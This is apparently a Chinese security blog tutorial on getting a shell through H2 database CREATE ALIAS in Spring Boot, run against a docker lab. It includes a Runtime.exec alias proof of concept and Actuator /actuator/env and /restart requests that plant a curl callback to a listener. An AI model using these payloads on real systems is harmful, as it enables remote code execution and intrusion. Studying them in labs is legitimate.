利用h2别名getshell

H2相关

H2简介

H2 是一个用 Java 开发的嵌入式数据库,它本身只是一个类库,即只有一个 jar 文件,可以直接嵌入到应用项目中。H2 主要有如下三个用途:

  1. 最常使用的用途就在于可以同应用程序打包在一起发布,这样可以非常方便地存储少量结构化数据。
  2. 用于单元测试。启动速度快,而且可以关闭持久化功能,每一个用例执行完随即还原到初始状态。
  3. 作为缓存,即当做内存数据库,作为NoSQL的一个补充。当某些场景下数据模型必须为关系型,可以拿它当Memcached使,作为后端MySQL/Oracle的一个缓冲层,缓存一些不经常变化但需要频繁访问的数据,比如字典表、权限表。

h2使用介绍

  1. 新建一个web工程
  1. 添加依赖
1
2
3
4
5
6
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.197</version>
<scope>runtime</scope>
</dependency>
  1. application.properties
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#h2配置
spring.jpa.show-sql = true #启用SQL语句的日志记录
spring.jpa.hibernate.ddl-auto = update #设置ddl模式
##数据库连接设置
spring.datasource.url = jdbc:h2:mem:dbtest #配置h2数据库的连接地址
spring.datasource.username = lingwu #配置数据库用户名
spring.datasource.password = lingwu #配置数据库密码
spring.datasource.driverClassName =org.h2.Driver #配置JDBC Driver
##数据初始化设置
spring.datasource.schema=classpath:db/schema.sql #进行该配置后,每次启动程序,程序都会运行resources/db/schema.sql文件,对数据库的结构进行操作。
spring.datasource.data=classpath:db/data.sql #进行该配置后,每次启动程序,程序都会运行resources/db/data.sql文件,对数据库的数据操作。
##h2 web console设置
spring.datasource.platform=h2 #表明使用的数据库平台是h2
spring.h2.console.settings.web-allow-others=true # 进行该配置后,h2 web consloe就可以在远程访问了。否则只能在本机访问。
spring.h2.console.path=/h2 #进行该配置,你就可以通过YOUR_URL/h2访问h2 web consloe。YOUR_URL是你程序的访问URl。
spring.h2.console.enabled=true #进行该配置,程序开启时就会启动h2 web consloe。当然这是默认的,如果你不想在启动程序时启动h2 web consloe,那么就设置为false。
  1. 添加数据库结构与数据脚本

resources/db/schema.sql

1
2
3
4
5
6
7
8
9
10
11
create table if not exists USER (
USE_ID int not null primary key auto_increment,
USE_NAME varchar(100),
USE_SEX varchar(1),
USE_AGE NUMBER(3),
USE_ID_NO VARCHAR(18),
USE_PHONE_NUM VARCHAR(11),
USE_EMAIL VARCHAR(100),
CREATE_TIME DATE,
MODIFY_TIME DATE,
USE_STATE VARCHAR(1));

resources/db/data.sql

1
2
3
4
5
6
INSERT INTO USER (USE_ID,USE_NAME,USE_SEX,USE_AGE,USE_ID_NO,USE_PHONE_NUM,USE_EMAIL,CREATE_TIME,MODIFY_TIME,USE_STATE) VALUES(
1,'赵一','0',20,'142323198610051234','12345678910','qe259@163.com',sysdate,sysdate,'0');
INSERT INTO USER (USE_ID,USE_NAME,USE_SEX,USE_AGE,USE_ID_NO,USE_PHONE_NUM,USE_EMAIL,CREATE_TIME,MODIFY_TIME,USE_STATE) VALUES(
2,'钱二','0',22,'142323198610051235','12345678911','qe259@164.com',sysdate,sysdate,'0');
INSERT INTO USER (USE_ID,USE_NAME,USE_SEX,USE_AGE,USE_ID_NO,USE_PHONE_NUM,USE_EMAIL,CREATE_TIME,MODIFY_TIME,USE_STATE) VALUES(
3,'孙三','1',24,'142323198610051236','12345678912','qe259@165.com',sysdate,sysdate,'0');
  1. 访问127.0.0.1:8082/h2进入console

H2别名漏洞

影响版本

1.4.196 and 1.4.197

原理

当测试数据库的密码未知时,仍然可以通过创建新数据库来执行。 Web控制台通过在连接字符串中输入新数据库的名称来允许此操作。 创建新数据库后,将创建默认的凭据用户名"sa"和密码""(空白), 攻击者自动登录。

可以使用CREATE ALIAS来创建java方法,并调用这个方法,如下:

1
2
CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";
CALL GET_SYSTEM_PROPERTY('java.class.path');

创建命令执行的java函数

1
2
3
4
5
6
String shellexec(String cmd) throws java.io.IOException { 
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
if (s.hasNext()) {
return s.next();
} throw new IllegalArgumentException();
}

所以可构建poc如下:

1
2
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;
CALL SHELLEXEC('id')

漏洞样例

因为Spring Boot 2.x默认使用HikariCP数据库连接池,所以可通过H2数据库实现RCE。使用的HikariCP数据库连接池提供了一个spring.datasource.hikari.connection-test-query的变量。他与HikariCP中的connectionTestQuery配置相匹配,作用是验证数据库连接是否处于活动状态。无论何时新建的数据库连接被建立时,spring.datasource.hikari.connection-test-query的值都会被作为一个SQL语句执行。

漏洞前提

  • /actuator/env路径可访问。

在application.properties配置文件中设置management.endpoints.web.exposure.include=env

说明

  • GET请求:该请求的get形式可查询应用程序的环境变量
  • POST请求:该请求的POST形式可设置应用程序的环境变量

格式如下:

1
2
3
POST /actuator/env HTTP/1.1

{"name":"<NAME OF VARIABLE>","value":"<VALUE OF VARIABLE>"}

利用

  1. 环境准备
    docker环境下载:
    https://github.com.cnpmjs.org/spaceraccoon/spring-boot-actuator-h2-rce.git
  1. 进入到spring-boot-actuator-h2-rce目录下:

    1
    2
    docker build -t spaceraccoon/spring-boot-rce-lab .
    docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab
  2. 访问http://127.0.0.1:8080/actuator

  1. 可出外网的情况:

3.1 本地监听9999端口。

3.2 构造恶意请求

1
2
3
4
5
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl 127.0.0.1:9999');"}

3.3 重启服务端

1
2
3
4
5
6
POST /actuator/restart HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Content-Length: 356

{}

3.4 查看nc